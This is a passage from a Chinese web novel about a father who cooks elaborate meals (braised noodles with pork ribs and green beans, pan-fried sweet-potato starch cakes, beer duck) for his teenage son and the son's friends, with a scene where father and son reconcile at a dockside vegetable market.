美食能令人心情愉悦。 楚瑾钰就着梅菜扣肉干掉一碗饭，午餐的美味以及肚子传来的饱腹感，让他表情都不自觉放松下来。等端着手边的汤再喝两口，原本透着倔强的眉宇都舒缓开来。 胡一齐趁着他喝汤时飞快偷拍了张照片，装着边吃饭边玩手机的架势发给楚易文，让他放心。 家里，楚易文收到照片看见儿子愿意吃饭，确实放心不少，为了感谢胡一齐给他通风报信，还特意询问他晚上想吃什么。 胡一齐看到有点菜的机会，立刻想到上次的豆角焖面，可能是由于没吃够，他最近每次想到都特别馋。 【排骨豆角焖面可以吗？】 楚易文想到家里还有排骨，发条消息过去。 【可以，太可以了！谢谢叔叔，叔叔你简直就是厨神在世！对了，叔叔你做的梅菜扣肉超好吃，扣肉特别香……】 胡一齐正忙着发彩虹屁时，楚瑾钰却是注意到他边吃饭边玩手机，奇怪道：“你在干嘛？” 其实年轻人边吃饭边玩手机很常见，但先不说在学校食堂有被老师发现没收手机的风险，光是胡一齐每次吃到美食时那个沉浸模式，就不是爱玩手机的，所以他才会感觉奇怪。 “没事。”胡一齐赶紧把手机收起来，随即边吃饭边对着他夸他爸的手艺，“真羡慕你有个厨艺那么好的爸爸，不像我家那个糟心的玩意……” 为了劝楚瑾钰回家，胡一齐也是拼了，拿自家渣爹做对比，以此衬托楚易文有多好多好。 “我爸给你发红包了？”楚瑾钰横他一眼。 “没有。” 胡一齐下意识反驳，不过随即却想起来好像还真发了，昨晚发的。不过他想到自己又没收，没收就等于没发，瞬间又理直气壮起来：“我是缺那点红包的人吗？你看你，竟然这么怀疑我。” 楚瑾钰懒得再理他，趁着他说话的功夫，赶紧把最后几块芋头烧鸡肉夹进碗中。 午餐结束，他们四人倒是吃得挺满足，只是可怜坐在附近的学生，越吃餐盘里饭菜越不香。 下午，楚易文先是出去钓了会鱼，回家后用现钓的鱼炖了个豆腐鱼汤，又将中午跟胡一齐说好的排骨豆角焖面给做出来。 知道几个孩子都挺能吃，他特意拿出家里最大的锅，焖面出锅时不光香气四溢，更是直接装满三个保温桶。 除了排骨豆角焖面和豆腐鱼汤，楚易文还拿红薯粉加腊肉丁、花生碎、青菜碎，以及盐、酱油等调料调好个面糊，起锅烧油做起香煎版薯粉团。 这种用面糊整个煎出来的薯粉团已经不是团状，而更像煎饼，煎好两面都微微泛着金黄，锅铲碰上去时发出酥脆的咔咔声。 整个饼状薯粉团出锅，用刀将其切成一块块三角形，热气混着里面腊肉丁、花生碎的香味瞬间就飘出来，配上煎制的焦香，闻着就令人胃口大开。 把薯粉团装好，楚易文看下时间，余光忽然注意到旁边玻璃罐里的东西。 玻璃罐中不是别的，而是晒干的南瓜子。上次他买南瓜时，南瓜里面子不少，他掏出来时被儿子看见，说可以炒南瓜子吃。 其实一个南瓜里的那点南瓜子，真去炒它都要搭上不少燃气，不过见儿子兴冲冲，他没有扫兴，让儿子洗干净拿去晒干。 云市一中。 楚易文在家里忙活完就开车过来，依旧是听见放学铃声后拿手机发消息，这次却不是发给胡一齐，而是直接发给自家儿子。 教室内，胡一齐临近放学特别关注自己手机，然而直到铃声响起手机也没反应，在发现楚瑾钰掏手机时他猜到什么，赶紧凑过去：“是不是叔叔给你发消息？” 他正要说你要是不想去就我去拿时，便看见楚瑾钰站起身来，立刻高兴地跟上。 “你终于不生气了？太好了！” 楚瑾钰哼了一声：“要不是看在他做薯粉团的份上，还把我晒的南瓜子炒了，我才懒得理他。” 他心里其实已经没有那么生气，毕竟正如胡一齐所说，他爸其实比很多当爸的已经要好很多。不过他有些要面子，觉得他爸不该当着老师和朋友的面训斥自己，因此走到学校门口时，却是脸上没什么表情，接过保温桶就要走。 胡一齐见他刚刚从教室出来时还好，一到他爸面前又别扭上，只能自己热情道：“谢谢叔叔给我们做饭又送饭！叔叔辛苦了！” “不客气。”楚易文说完看向自家儿子，倒是没介意他连人都不喊，只说，“晚上厨房里会给你留汤，回来记得自己去喝。” 楚瑾钰听到这话，终于从喉咙里挤出声闷闷的“嗯”算作回应，随即拎着保温桶走得飞快。 “你爸晚上竟然还会给你炖汤，你小子真是身在福中不知福。”胡一齐才知道他下晚自习后还有加餐，不由发出羡慕的声音。 楚瑾钰下意识道：“这福气给你要不要？” “我要啊！你要是不想吃的话我今晚跟你回家，我帮你吃！”胡一齐说完又补充一句，“或者我去你家，你去我家也行。” “你家我可不敢去，怕吵不过你爸。” 两个人边拌嘴边往食堂方向走，食堂内商时贸和叶其林已经占好位置。 “晚上吃什么？” 叶其林以前没那么爱吃，但这两个月跟着楚瑾钰吃久了，他对每餐饭的期待值真是越来越高。 “晚上吃排骨豆角焖面，看这重量，估计叔叔做的不少。” 胡一齐乐呵呵将保温桶往桌上放时，楚瑾钰则是道：“我爸这是准备喂猪呢！” “你才是猪。”叶其林有些无语，觉得他说话不过脑子。 等到保温桶打开，光是焖面就有三桶，酱色的排骨、深绿色的豆豆角，还有裹着酱汁看起来油润光亮的面条，不论是色还是香都特别诱人。 “确实有点多。”商时贸见有三桶面，旁边还有豆腐鱼汤和薯粉团，觉得分量是真不少。 胡一齐：“哪多了，我觉得一点都不多，就这么香的面，我感觉我一个人就能吃一桶。” 他说完迫不及待拿起碗筷哐哐夹面条，一碗面还没夹完，闻着那扑鼻而来的浓香，没忍住直接吃起来。手擀面又弹又筋道，咀嚼间带着肉的咸鲜和豆角的清爽，每一口都香得令人陶醉。 “这薯粉团怎么跟饼一样？是被压扁了吗？”叶其林没他那么急，手上继续夹面条，视线却是落在薯粉团上。 楚瑾钰：“这是煎薯粉团，吃起来会比较香脆些。” 他说完直接夹起一片，咬上去发出酥脆的咔嚓声，咀嚼间先是焦香满口，再多嚼两下，腊肉香和花生香在口腔弥漫，配合上青菜碎的爽口，吃起来香而不腻。 楚瑾钰以前吃的都是炒出来的薯粉团，现在吃着又脆又香的，感觉还挺新奇。 “我觉得煎的薯粉团更好吃，越吃越香。”叶其林夹好面后将一块薯粉团盖在面上，品尝完后说。 胡一齐半碗焖面下肚，听见他们在说薯粉团，不由跟着吃起来，香得他有些眉飞色舞：“好吃，我觉得不管是炒的还是煎的都好吃，太香了！简直是人间美味！” “你慢点吃。”商时贸见大家才刚开动，他已经吃完半碗面，都有点怕他被噎着。 食堂里没有焖面，但有炒面，下午不想吃米饭选择吃面的学生并不少，但对比楚瑾钰他们桌上色香味俱全的排骨豆角焖面，食堂炒面简直哪哪都比不上。 楚易文做的焖面酱香味恰到好处，肉香和豆角清香混杂其中，再配上手擀面特有的麦香，光是闻香味就令人食欲大开。 不光焖面香，豆腐鱼汤更是鲜而不腥，鱼腥味和豆腥味被完全去除，只余下食材本身的鲜香。还有煎薯粉团，跟炒的比起来，煎的焦香味更加浓郁，香味也更加诱人。 有学生受不了馋，直接端起餐盘换地方吃，有些学生则是苦中作乐，拿香味来下饭。 至于叶其林他们，四人压根没心思关注周围，已经完全沉浸在美食中，吃得根本停不下来。 “好像嗝……确实有点多……”胡一齐还是有些高估自己，在独自干掉大半保温桶的焖面，又喝一碗汤后，他直接打起饱嗝来。 他嘴巴其实还没吃够，但肚子是真装不下，此时处于一种想吃但塞不下的状态。 “吃不下就算了，别把自己撑死。” 叶其林话落，楚瑾钰则是笑话道：“刚刚是谁说他能吃一桶？” “那我好歹一个人吃完大半桶，你看你们，三个人连两桶都没吃完。” 叶其林摸着肚子道：“主要是叔叔每桶面都装得太满了，而且面条还挺填肚子。” “我也吃不下了。”商时贸看看几个保温桶，发现还剩下大概半桶面。 胡一齐：“要是把盖子盖紧，放学后还能吃不？” “那估计都冷了，就算没冷，焖那么久肯定都不好吃了。”楚瑾钰说完终于想起还有南瓜子，于是伸手在袋子里翻起来。 “那是什么？”胡一齐看到他手里那个巴掌大的保鲜盒，好奇心被勾起。 “南瓜子，上次我爸切南瓜时，我把掏出来的南瓜子拿去晒了，炒出来就那么多。”楚瑾钰说完打开盒子跟他们分享。 “上课时再吃，现在是真一口吃不下了，太撑了。”叶其林摆手道。 楚瑾钰其实也很撑，于是只拿了两颗塞进嘴里尝尝味，咀嚼间满满都是南瓜子特有的清香，以及淡淡的咸味。 “挺香的。”胡一齐刚刚都撑得打饱嗝，现在却还抓了不少颗瓜子在手心满满吃。 四人其实已经挺厉害，薯粉团和豆腐鱼汤都解决完，三桶焖面只剩半桶不到。就在他们准备收拾东西离开时，有跟他们同班的同学忍不住凑上来：“食堂的面太难吃了，你们多的面能给我尝尝不？” 楚瑾钰四人和班上同学关系并不算坏，之前他们在教室用餐时，班里也没人说什么，最多有同学感叹几句“好香”或者“好馋”。 “行啊，要吃多少你自己夹。”楚瑾钰并不小气，直接将保温桶推过去。 食堂内其他年级或班级的学生可能会不好意思，但同班同学见他愿意分享，又有几个围上来。 楚易文是很舍得放食材的，剩下那半桶焖面里还有不少排骨和豆角，而且由于保温桶保温效果很好，现在面还热乎着。 都说勇敢的人先享受世界，第一个开口的同学吃得最好，碗里光是排骨就有三块。 “太好吃了，比食堂的红烧排骨还要香！” “这面一吃就是手擀面，比我妈做的还好吃。” “好香啊，要是食堂有这么好吃的面就好了。” 半桶焖面看着多，但压根不够分，围过来的同学们每人都只分到小半碗左右。之前光闻着他们就觉得香，现在吃到嘴里，发现吃起来比闻着还香，简直发自内心羡慕起楚瑾钰来，羡慕他天天能吃到如此美味。 看到同学们恨不得把碗都舔干净，胡一齐想到自己经常能吃到，通过对比产生一股满足感。 同学们吃完面，真心实意对着楚瑾钰夸了一通他爸的手艺，楚瑾钰面上不显，心里其实有点高兴。 保温桶剩下的面被解决完，四人收拾好东西就回教室去。 吃货和普通人的区别大概就是，吃货吃饱了，没多久就又还能继续吃。比如胡一齐，第一节晚自习刚开始，他就朝楚瑾钰伸手要南瓜子吃。 南瓜子统共没多少，楚瑾钰只分给他一点点，将剩下的给叶其林、商时贸分了些，分完看到坐在前面的邵言易，又戳着他后背分给他点：“我爸自己炒的南瓜子。” “谢谢。”邵言易接过来，却是等到下课才吃。 “南瓜子还挺香，你怎么不让你爸多炒点。”胡一齐吃完感觉有点没吃够。 楚易文只放了点盐去炒瓜子，不过他火候把握得好，炒出来的南瓜子特别香脆，食材本身的香味全都被炒出来，配上恰到好处的咸味，刚开始吃还好，多吃几粒，那种带着食材原香的滋味，越吃越上瘾。 “一个南瓜就那么多子，去哪给你多炒点。” 楚瑾钰跟胡一齐从下课聊到上课，时间不知不觉流逝，很快放学铃声就响起。 今天晚自习结束后楚瑾钰没再闹着去外面住，而是拎着保温桶直接回家。在走进小区前他步伐还很正常，然而在进入小区大门后，他走路速度却是不自觉慢下来。 他家有个院子，只是白天时院门不会反锁，楚瑾钰打开院门进去，将门反锁好后看向屋子落地窗方向，屋内等待他的是一片暖色灯光。 楚瑾钰在院子里停留大概二十多秒才走向大门，进屋后发现他爸好像已经回房间休息了，在他自己都没察觉的情况下轻轻松了口气。 冬天天冷，保温桶不容易有味道，他都是带回家洗。这会他先将保温桶打开丢进洗碗机，随即在厨房内转悠起来，果然发现炖盅里温着一小份汤。 发现是自己喜欢的莲藕排骨汤，楚瑾钰觉得不吃白不吃，也懒得端出去，直接站在厨房就把一小盅汤给吃完。 接下来几天，楚瑾钰饭照吃，家照回，只是面对楚易文时话少得可怜。父子之间的关系比上学期都不如，显得很是冷淡。 对此楚易文也没有生气，而是等到周五晚上才叫住准备回房间的人：“今晚早点睡，明天早上去买菜，你帮我拎点东西。” “哦。”好歹天天吃家里做的饭，听到这个要求楚瑾钰并没有拒绝。 第二天早上简单吃过早餐后，八点父子二人就出门去，车子直奔码头菜市场。 楚瑾钰站在大坝上望着周围，到底还是忍不住开口：“这里哪有菜卖？” “马上就来了。” 楚易文话落，轮船的鸣笛声响起，一艘渡船缓缓靠向码头，船舱里老太太、老爷子们纷纷开始往外走，或是背筐，或是挑担。 楚瑾钰看到这一幕表情微微有些变化，但并不是因为看到老人们的辛苦可怜他们，而是有些不爽。 并不是说他没有同情心，主要是他想到曾经看过的鸡汤文学，父亲带着儿子去看凌晨三点钟，引导他体验生活的艰辛。显然，他不爽的是认为他爸也是想带他来看这些，以此教育他。 楚易文看到自家儿子脸上藏不住的表情，已经有点猜到他心里在想什么，趁着他还没跑赶紧开口：“我不是要借这一幕教育你什么，只是想告诉你，以前你爷爷奶奶也像他们一样，从村里挑着菜到街上去卖，路上要走两个多小时。” “农民真的太辛苦了，那时候我就在心里发誓，以后一定要赚好多钱，让他们不用再那么累……我知道你可能怪我光顾着赚钱忽略你，但没钱的日子是真的难啊，我如果不拼命赚钱，当初你爷爷奶奶先后进医院时，哪里能有那么好的医疗条件……” 楚易文回忆起当初白手起家的艰辛，想想都有点佩服自己竟然能坚持下来。 眼见儿子完全不吭声，只是脑袋渐渐低下来，他再次开口：“我毕竟是第一次当爸爸，有些地方做得不到位，你多见谅。” “你是第一次当爸爸，但你已经当过一次儿子了！”要不说现在网络速度就是快，听到“第一次当爸爸”这句话时，楚瑾钰立刻就想到网上的反驳。 楚易文点头：“对，我确实已经放过一次儿子，但你爷爷奶奶当初对我，可没对你那么关心体贴。当然，并不是说他们不爱我，只是那会家里条件不好，他们光想着怎么赚钱就消耗完所有精力……我读书时可没有九年义务教育，初中那年你爷爷生病，家里钱都用完，我差点要退学……” 楚瑾钰忽然想起，好像听爷爷说过以前日子的艰难，此时再听他爸说，脑袋瞬间垂得更低，有点他爸辛辛苦苦赚钱养家，自己在无理取闹的感觉。 “当然，时代在变化，经济富足后追求精神上的需求没有问题，爸带你来这主要是想告诉你，每个时期人的需求都不同。之前忽略你的需求，爸跟你说句对不起，以后有什么事咱们父子都摊开说，你别再冷暴力了行不行？” 楚易文说的都是真心话，他小时候根本就没纠结过爸爸爱不爱我，妈妈爱不爱我这种问题，对他来说，最大的困扰就是家里没钱，让他一度差点退学。 听到那句“对不起”时楚瑾钰眼眶莫名有些发热，但听到“冷暴力”时，他却是下意识反驳：“谁冷暴力了！” 第30章 啤酒鸭 看到儿子眼角有些微红, 楚易文知道今天说到这就可以了，于是主动转移话题：“你在这等一会，顺便想想有没有什么想吃的菜。” 他说完顺着楼梯走下去, 很是自然地朝一位老人伸手，接过压弯她脊背的重担帮忙往上挑。 楚瑾钰并没有站在原地干看着，他见下面还有好多老人都挑着担子，先在群里给胡一齐他们发个定位，随即就走下去帮忙。 “不用，你挑不动。” 在楚瑾钰想要帮忙时，满脸皱纹的老太太第一反应就是拒绝。 “奶奶你让我试试。” 老太太被他用清澈的双眸望着, 可能是想到自家孙子，最终还是把担子放下来。 挑担看起来简单，实际上还是需要点技术含量, 楚瑾钰第一下低估两边担子的重量，压根没挑起来，第二下扁担刚上肩膀就滑落下来。 “你去帮忙背筐。”楚易文再次从上面下来时就看到儿子有些狼狈的模样, 伸手把担子接过来，让他去帮其他老人背筐。 老人们出来一趟不容易, 都想尽量多带点东西卖，竹筐重量同样不轻。楚瑾钰在背起一个筐顺着楼梯爬到顶上后，明明是大冬天，额头却是已经微微冒汗。 楚易文和楚瑾钰上上下下帮好几位老人将菜送到菜市场内, 除了他们父子外，还有不少其他年轻人也在义务帮忙，很快原本空荡荡的菜市场里热闹起来，老人们面前都摆着各种农家产品在售卖。 冬天蔬菜没有其他几个季节种类多，老人们筐子里除了白菜、萝卜外, 还有养了一年的各种家禽。 “有想吃的菜吗？”楚易文说完余光看到之前那位卖藕的老人，指着他对儿子道，“你平常说好吃的藕就是在他家买的，他家藕特别新鲜。” 卖藕的是对夫妻俩，大部分时候是老爷子来卖菜，不过偶尔老爷子生病时，楚易文有几回是在老太太手里买的，得知他们老两口靠藕塘养活自己还要供孙子读书，每次他只要看到就会买点，并且不让对方找钱。 “那买点藕吧，他家藕确实好吃。”楚瑾钰望着坐在装满莲藕的竹筐后的老人，不由想到自家爷爷。 “行。” 楚易文确实经常过来买藕，卖藕的大爷都已经认识他，看到他时脸上瞬间就露出笑容，还望着楚瑾钰询问：“这是你儿子吗？” 得到肯定回答后，老爷子笑着夸：“你儿子长得真好，个子也高。” 他说完再在面前打量一圈，没发现什么能给孩子吃的，于是拿起条莲藕掰断递过去：“孩子来，吃块藕。” “谢谢爷爷，不用了，我不饿。”楚瑾钰没有吃生藕的习惯，摆手拒绝。 倒是楚易文，他小时候地里现拔的萝卜都吃过，生藕还没萝卜那股生辣味，见老爷子还在举着莲藕，顺手接过来咬一口：“你家藕就是好，塘里还有多少？” “没有了，这是最后一批，卖完我就不来了。”老爷子自己累死累活种藕，但却连掰断剩下的藕都舍不得吃，边跟楚易文聊天边将那半截放回筐里。 楚易文陪老爷子家长里短地闲聊一会，离开时拎走袋藕，塞了一百块给老爷子。 “鸭子吃不吃？要不买只鸡买只鸭回去？” 买完藕，楚易文发现今天来卖鸡鸭的老人不少，偏头看向自家儿子。 “我都可以。” 父子二人在菜市场一通转悠，本来只准备鸡鸭各买一只，结果看这个老人觉得不容易，看那个也不容易，最后每样都买了三只。 “没事，放在院子里养着慢慢吃，这都是村里养的土鸡土鸭，比超市里冷冻的要好。” 楚易文话落，楚瑾钰点点头，下一秒他手机响起来，刚接通就传来胡一齐的大嗓门：“我到了，你在哪？” “我在菜市场里面……” 等电话挂断，楚易文边往外走边问：“你叫他们过来干嘛？” “本来是想喊他们一起过来干苦力，没想到他们来那么慢，早知道不叫了。” 楚瑾钰说完父子二人已经从菜市场里出来，楚易文余光注意到江面上的轮船，开口道：“好像又有船过来，你要带他们去帮忙吗？” 可能由于今天周六的缘故，来卖菜的老人特别多，一艘船没坐下，竟然还有第二艘船过来。 人在做坏事时是不觉得累的，虽然某方面来说楚瑾钰这算不上做坏事，但他想到让胡一齐他们也体验一下自己刚才帮忙背东西的辛苦，整个人瞬间就精神起来。 “叔叔好。” 见面打完招呼后，胡一齐望着楚瑾钰说：“不是说喊我们过来买菜吗？我看你这菜都买完了。” “谁说买完了，走走走，还有菜在船上。”楚瑾钰憋着坏招呼他们一起下楼梯去码头上。 胡一齐没多想，边跟他往下走边说：“我才知道这边竟然还有菜市场。” 说话的功夫他看到江面上装着各种菜的船，不由道：“飞机运过来的叫空运，轮船运过来的叫船运，行啊你，买个菜挺讲究，还要吃船运来的。” “你懂什么，这种都是人家自己种的，新鲜着呢。” 商时贸感觉出楚瑾钰说话时表情透着兴奋，不知道他在兴奋什么，于是选择先观望一下。 至于叶其林，他感觉江面上景色很漂亮，正在拿手机拍照。 而楚易文，他手里拎着刚刚买的菜，没跟着下来，而是选择先把菜送到车上，再从车里拿几瓶水出来。 码头前。 随着轮船鸣笛声响起，船很快靠岸，老人们乱中有序地从船舱里出来，走到甲板上或者挑或是背，带着自己要售卖的东西走出来。 在第一位老人背着东西出来开始爬楼梯时，楚瑾钰图穷匕见地拍着胡一齐胳膊说：“站着干嘛，还不去帮忙，尊老爱幼懂不懂。” 胡一齐正想说“你怎么不去”，就见他已经走上前，熟门熟路将老人背上那个堆得老高的筐接到自己背上。 老人和小孩子受苦是最容易勾起人同情心的，看到有些老人头发都已经发白，却还背着重担，两步一个台阶地往上慢慢走，胡一齐哪怕这会看出来楚瑾钰是把自己叫过来卖苦力，却还是没办法无动于衷。 “奶奶我来帮你。” 胡一齐见有位老奶奶走两步停一下，腰被竹筐压得已经伛偻，手上还提着个装满萝卜的篮子，直接跑过去帮忙。 “我就猜到被他叫过来准没好事。”叶其林嘴里吐槽归吐槽，并不影响他立刻就去给人帮忙。 “就当是做好事了。”商时贸说完也就近接下一位老人手里的篮子。 需要帮忙的老人实在太多，胡一齐背着筐往上走的同时，看到其他老人累得直喘气，忍不住开口：“爷爷你歇会，等我把这个背上去就来帮你。” 等到楚易文去车里放好菜拿着水过来时，便看到自家儿子和他几个朋友要么背着筐，要么拎着篮子的画面。 “要不要喝点水？” “谢谢叔叔，我不喝。” 胡一齐急着去给其他老人帮忙，说完就又飞快跑下去。 楚易文站在原地含笑看了一会，很快也加入帮忙的队伍中。 等到第二艘船上的老人全部都进去菜市场，楚瑾钰他们几个已经满头大汗，感觉比打几场篮球比赛还累。 “辛苦了，来喝点水。” 楚易文将水递过去，看到他们咕噜咕噜就喝完整瓶，知道他们是累到了，于是问：“中午想吃什么？待会一起去家里吃饭。” 胡一齐之所以被楚瑾钰发个定位就叫过来，为的不就是一口吃，听到这话眼睛瞬间就亮起来。 “我都可以，只要是叔叔你做的我都爱吃！” “那我们去菜市场里转转，看看有没有你们想吃的。”楚易文说完领着他们一起再次进入菜市场。 老人们除了卖菜，还有人会卖点自己做的草编、木雕等小东西。 叶其林刚进去就被某个摊子上的竹节人给吸引，直接凑过去买了四个。 等到从菜市场出来时，几个人谁都没空着手，商时贸买了两个木雕，胡一齐买了袋马蹄，楚瑾钰则是买了个竹编的小筐，说是可以拿回家放他的篮球。 至于楚易文，他又买了点山药和萝卜。 到家后，楚易文交给楚瑾钰他们一个任务，让他们用杂物间里有的材料在院子里搞个临时鸡笼子出来，把那几只鸡鸭先关着。 交给他们任务后，楚易文回自己房间里去先换上居家服，随即就躺在床上进入系统厨房。 在买鸭子和山药时，他获得系统奖励的啤酒鸭和山药排骨汤以及山药粥食谱。本来他是准备晚上学会，明天再做，但既然儿子将朋友都叫过来，楚易文觉得还是把啤酒鸭和山药排骨汤先学一下，中午就做给他们吃，就当是做好事的奖励。 之前他已经学过各种鸡的做法，鸭子处理起来和鸡区别不大，因此不用老爷子怎么说，他自己就能驾轻就熟地处理好。 鸭子的腥味比鸡要重，因此去腥很重要，楚易文将切好的鸭块冷水下锅，加入姜片、葱结、料酒一起烧开，撇掉浮沫后将鸭肉捞出来用温水再次清洗，这样已经能去除大部分腥味。 “起锅烧油，先把鸭肉油脂煸出来。” 老爷子话落，楚易文已经将油倒入锅中，将鸭肉下进去煸炒，随着锅铲翻动，鸭皮变成漂亮的金黄色，油脂更是一点点被高温给逼出来。 随着鸭油渗出，浓郁的肉香从锅里飘出来，楚易文在老爷子的提醒下把多余鸭油倒出，开始下去葱、姜、蒜、干辣椒、八角、香叶等食材小火煸出香味。很快，鸭肉香中混合着蒜香与香料气息，闻起来更加诱人。 啤酒鸭的特点就是啤酒，在用生抽老抽给鸭块上色后，就可以加入啤酒开始焖。 系统里楚易文将啤酒鸭和山药排骨汤翻来覆去做好几遍才达到老爷子要求时，现实中才过去几分钟。 等他从房间出来，楚瑾钰他们几个还在院子里研究怎么安顿那些鸡鸭。 楚易文走过去将今天要吃的鸭拎到厨房，留他们继续在院子里折腾。 将鸭子杀好切块备用后，他没立刻开始烧啤酒鸭，而是先把山药排骨汤炖上。 汤炖好，楚易文又将刚买的萝卜挑根出来切成丝，准备炒个萝卜牛肉丝，再来个番茄炒蛋，一个家常豆腐，一个红烧鸡翅，一个香菇青菜。 院子里。 用杂物间里没用的柜子改造成鸡窝后，胡一齐蹲在鸡窝前望着正在喝水的三只鸡两只鸭说：“这样看感觉它们还挺可爱。” “那你别吃它们。”楚瑾钰道。 胡一齐立刻摇头：“那不行。” 叶其林“啧”了一声：“你都夸人家可爱了，还要吃它们，真是于心何忍啊！” “我觉得它们被端上饭桌时更可爱。” 胡一齐话落，不知道是不是感受到他的吃心，几只鸡鸭忽然都一起跑进鸡窝中。 四个高中生凑在一起，很快又产生新点子，觉得可以再搞个鸭窝，让它们分开住。 他们在院子里折腾个没完时，厨房内楚易文已经把汤炖上，啤酒鸭也倒入啤酒盖上盖。 啤酒鸭的特色就是肉质酥烂入味，带着啤酒特有的麦芽清香。随着小火慢炖，香味渐渐顺着厨房飘出来，飘到院子里，又被院子里的风吹到小区的每个角落。 “哇，好香啊！”胡一齐闻着香味发出感叹。 就在他起身想要进屋去看看是什么菜那么香时，忽然听见院子外面传来阵阵犬吠声，以及一个无奈的男声：“别叫了，别人家做饭关你什么事，香也不是给你吃的，赶紧走……” 胡一齐忍不住捂着嘴笑起来，随即压低声音对楚瑾钰说：“看来跟你们家当邻居可真是不容易，一天天的连狗都要被馋哭。” “这算什么，上次我爸做菜时还把小区里的一个小孩给馋哭了，真馋哭那种。”楚瑾钰说完同样被啤酒鸭越来越浓郁的香味吸引，拍拍手上的灰往屋里走。 家里有暖气，进屋后四人先把外套脱下来，再换鞋洗手，随即才走进厨房。 “饿了吗？”楚易文听到声音转头看向几个孩子。 胡一齐实话实说：“还好，就是有点馋。” “柜子里有零食，可以先吃点垫垫肚子。” 楚易文说完，几个孩子却是没谁去吃零食，显然都想留着肚子吃午餐。 随着厨房里香味越来越浓郁，啤酒鸭终于炖好，揭开盖子那一瞬间热气升腾，啤酒经过炖煮酒精被挥发掉，只留下麦芽香，而清爽的麦芽香中和鸭肉的油腻，让整道菜闻起来香味特别有层次感。 “哇~” 胡一齐像是给菜配音一样发出惊呼，在看清楚锅里酱红色的鸭块时，口水差点没流下来。 楚易文先装一小碗给他们解馋，随即才将剩下的菜出锅，放到旁边的保温箱里。 啤酒鸭里他只放了些青红椒当配菜，此时每块鸭肉都裹着浓郁的汤汁，酱红色的鸭肉搭配青椒与红椒，整道菜颜色特别漂亮。 胡一齐早就馋了，接过碗就直接开吃，如果说啤酒鸭的香气给嗅觉带来极致的享受，那么它的味道就更是好吃到令人飘飘欲仙。 经过小火慢炖，鸭肉被完全炖烂，轻轻一咬就脱骨，咀嚼间吸收啤酒、香料和酱料精华的鸭肉又香又入味，尤其是那股啤酒特有的麦芽清香，更是令人回味无穷。 跟胡一齐有点囫囵吞枣的吃法不同，商时贸夹着鸭肉慢慢品尝，刚咬下去时先吃到鸭皮，经过煸炒的鸭皮带着焦香，经过炖煮又变得软糯，鸭皮那种软糯的胶质感与焦香融合，味道简直惊艳到他。 他咬第二口时吃到鸭肉，吸收汤汁的鸭肉酥烂入味，那种烂而不柴，完全不会塞牙的口感已经很令人享受，更别说它余味半点鸭腥气都没有，只有清爽的麦芽香，好吃到他连骨头都塞进嘴里，咬一会才舍得吐出来。 他们品尝着啤酒鸭时，楚易文已经开始炒下一道菜，切成细丝的白萝卜和牛肉两种颜色搭配在一起已经很漂亮，再加入点青椒丝，更是卖相十足。 和啤酒鸭的费时比起来，萝卜丝炒牛肉、番茄炒蛋这些菜做起来就要快得多，十二点多时，饭菜全部上桌，那叫一个色香味俱全。 楚易文觉得今天和儿子把话说开，值得庆祝一下，还特意拿了饮料出来，没想到本该爱喝饮料的几个孩子却是压根没有想喝的意思，反而纷纷拿汤碗盛汤，搞得他有些哭笑不得。 “叔叔辛苦了，来，吃个鸭腿！” 胡一齐是真会来事，明明是自己迫不及待想吃，为了显得礼貌，先把啤酒鸭的鸭腿夹到楚易文碗中。 叶其林见此，有样学样地也赶紧夹一筷子牛肉过去。 他们都夹了，同样作为客人的商时贸觉得自己不夹倒是显得不礼貌，于是夹了个鸡翅。 “你们自己吃，别客气。”楚易文望着碗里的菜，语气中满是笑意。 楚瑾钰看到他爸脸上的笑容，再想到他早上时说的初中差点退学的事，直接把啤酒鸭里另外那个鸭腿也夹进他碗中。 “好了，你也快吃。”楚易文这还是头一次吃到儿子给夹的菜，说完就低头吃起来，感觉这啤酒鸭炖得很不错，比在系统厨房烧的还香。 他动筷子后，胡一齐立刻就大口吃起来，边吃边连连点头，显然是被香得不行。 现杀的鸭子肉质本来鲜嫩，楚易文烧的时候没放太多香料，恰到好处的香料为整道菜去腥增香的同时，又没有压过食材的本味，简直越吃越过瘾。 “叔叔，你烧的鸭子也太香了！明明感觉里面也没放什么，但真是越吃越好吃！” 楚易文听到胡一齐感叹的声音，笑着道：“还是放了不少香料的。” “放了香料吗？吃着没感觉有特别明显的香料味，这样说的话，我算是知道食堂炖的肉为什么不好吃了，香料味特别重。” 胡一齐吐槽声刚落，商时贸赞同地点头：“确实，食堂烧的肉菜经常香料味重过肉味，没有叔叔你烧的这么香。” “肉菜用香料很正常，但不是香料放的越多越好吃，比如这道啤酒鸭，主打的是啤酒的清香，香料味如果压过啤酒香，那就不好吃。”楚易文顺着他们的话聊起来。 叶其林：“叔叔你烧的啤酒鸭不光吃起来香，而且一点都不柴，学校的鸡肉和鸭肉总是吃起来柴柴的，只有鸡翅和鸡腿部分勉强能吃一下。” “柴的话应该是火候没把握好，像啤酒鸭这种菜，要用小火慢炖，大火炖的话就容易柴。”楚易文最开始跟老爷子学做菜时火候就把握得很不好，柴柴的肉他其实也炖过。 胡一齐听到他的话算是明白食堂为什么不好吃：“那怪不得了，学校才没功夫给我们慢慢炖，估计都是大火赶紧煮熟就好。” 简单聊几句后，饭桌上很快就重新安静下来，只剩下咀嚼声和筷子碰撞声。 楚易文买的那只鸭子并不小，烧出来有一大锅，可耐不住胡一齐他们能吃，十分钟左右一大盆啤酒鸭就已经见底，甚至连汤都被他们用勺子舀到碗里拌饭吃。 浓稠的汤汁淋到米饭上，筷子轻轻一拌，每粒米都染上微微酱色，拌好后更是泛着层油光。 太好吃了！真香！ 汤汁中融合着鸭肉脂香和酱香，拿来拌饭吃，香得胡一齐眼睛都不自觉闭上。 不光是他，楚瑾钰和叶其林他们同样如此，一碗汤拌饭愣是吃出人间美味的感觉。 楚易文看到他们吃得那么香，心里很有成就感，顺手端起手边的山药排骨汤喝起来，排骨的鲜美和山药的清甜完全融入汤中，肉香浓郁却不油腻，喝起来特别滋润。 他自我感觉今天的汤炖得很不错，事实上也是如此，几个孩子把桌上菜吃完后，你一碗我一碗抢着喝汤，满满一大锅山药排骨汤被喝得半滴都不剩。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 30-40 第31章 辣子鸡丁 光盘行动是对厨子手艺最好的褒奖, 看到他们吃得那么干净，楚易文眼中笑意就没消失过。 午餐结束，楚易文等几个孩子坐在客厅里玩一会后才开口提醒他们做作业。 “明天再做。”楚瑾钰听到做作业就头大, 觉得今天才周六，明天再做也来得及。 “今天把作业做完，明天可以玩半天，再复习半天课本。” 啊？ 听到他爸不光催他写作业，还要求他复习课本，楚瑾钰怀疑自己耳朵出问题了。 “看我干嘛，你期中考试考多少名忘记了？要是你期末考试还是考倒数, 